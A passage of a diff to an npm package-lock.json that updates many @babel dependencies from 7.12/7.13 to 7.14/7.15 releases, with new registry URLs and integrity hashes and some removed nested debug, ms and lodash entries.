"@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/generator": { - "version": "7.13.9", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", - "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", "dev": true, "requires": { - "@babel/types": "^7.13.0", + "@babel/types": "^7.15.6", "jsesc": "^2.5.1", "source-map": "^0.5.0" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/traverse": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", - "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/generator": "^7.13.9", - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-split-export-declaration": "^7.12.13", - "@babel/parser": "^7.13.15", - "@babel/types": "^7.13.14", + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", "debug": "^4.1.0", "globals": "^11.1.0" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", @@ -555,28 +523,27 @@ } }, "@babel/helper-explode-assignable-expression": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.13.0.tgz", - "integrity": "sha512-qS0peLTDP8kOisG1blKbaoBg/o9OSa1qoumMjTK5pM+KDTtpxpsiubnCGP34vK8BXGcb2M9eigwgvoJryrzwWA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.15.4.tgz", + "integrity": "sha512-J14f/vq8+hdC2KoWLIQSsGrC9EFBKE4NFts8pfMpymfApds+fPqR30AOUWc4tyr56h9l/GA1Sxv2q3dLZWbQ/g==", "dev": true, "requires": { - "@babel/types": "^7.13.0" + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } @@ -603,165 +570,54 @@ } }, "@babel/helper-hoist-variables": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.13.0.tgz", - "integrity": "sha512-0kBzvXiIKfsCA0y6cFEIJf4OdzfpRuNk4+YTeHZpGGc666SATFKTz6sRncwFnQk7/ugJ4dSrCj6iJuvW4Qwr2g==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.15.4.tgz", + "integrity": "sha512-VTy085egb3jUGVK9ycIxQiPbquesq0HUQ+tPO0uv5mPEBZipk+5FkRKiWq5apuyTE9FUrjENB0rCf8y+n+UuhA==", "dev": true, "requires": { - "@babel/traverse": "^7.13.0", - "@babel/types": "^7.13.0" + "@babel/types": "^7.15.4" }, "dependencies": { - "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", - "dev": true, - "requires": { - "@babel/highlight": "^7.12.13" - } - }, - "@babel/generator": { - "version": "7.13.9", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", - "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", - "dev": true, - "requires": { - "@babel/types": "^7.13.0", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - } - }, - "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", - "dev": true, - "requires": { - "@babel/types": "^7.12.13" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", - "dev": true, - "requires": { - "@babel/types": "^7.12.13" - } - }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, - "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", - "dev": true - }, - "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" - } - }, - "@babel/traverse": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", - "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/generator": "^7.13.9", - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-split-export-declaration": "^7.12.13", - "@babel/parser": "^7.13.15", - "@babel/types": "^7.13.14", - "debug": "^4.1.0", - "globals": "^11.1.0" - } - }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true } } }, "@babel/helper-member-expression-to-functions": { - "version": "7.13.12", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.13.12.tgz", - "integrity": "sha512-48ql1CLL59aKbU94Y88Xgb2VFy7a95ykGRbJJaaVv+LX5U8wFpLfiGXJJGUozsmA1oEh/o5Bp60Voq7ACyA/Sw==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.15.4.tgz", + "integrity": "sha512-cokOMkxC/BTyNP1AlY25HuBWM32iCEsLPI4BHDpJCHHm1FU2E7dKWWIXJgQgSFiu4lp8q3bL1BIKwqkSUviqtA==", "dev": true, "requires": { - "@babel/types": "^7.13.12" + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } @@ -793,402 +649,377 @@ } }, "@babel/helper-module-transforms": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.13.14.tgz", - "integrity": "sha512-QuU/OJ0iAOSIatyVZmfqB0lbkVP0kDRiKj34xy+QNsnVZi/PA6BoSoreeqnxxa9EHFAIL0R9XOaAR/G9WlIy5g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.15.8.tgz", + "integrity": "sha512-DfAfA6PfpG8t4S6npwzLvTUpp0sS7JrcuaMiy1Y5645laRJIp/LiLGIBbQKaXSInK8tiGNI7FL7L8UvB8gdUZg==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.13.12", - "@babel/helper-replace-supers": "^7.13.12", - "@babel/helper-simple-access": "^7.13.12", - "@babel/helper-split-export-declaration": "^7.12.13", - "@babel/helper-validator-identifier": "^7.12.11", - "@babel/template": "^7.12.13", - "@babel/traverse": "^7.13.13", - "@babel/types": "^7.13.14" + "@babel/helper-module-imports": "^7.15.4", + "@babel/helper-replace-supers": "^7.15.4", + "@babel/helper-simple-access": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/helper-validator-identifier": "^7.15.7", + "@babel/template": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.6" }, "dependencies": { "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/generator": { - "version": "7.13.9", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", - "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", "dev": true, "requires": { - "@babel/types": "^7.13.0", + "@babel/types": "^7.15.6", "jsesc": "^2.5.1", "source-map": "^0.5.0" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" + } + }, + "@babel/helper-module-imports": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", + "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", + "dev": true, + "requires": { + "@babel/types": "^7.15.4" } }, "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/traverse": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", - "integrity": 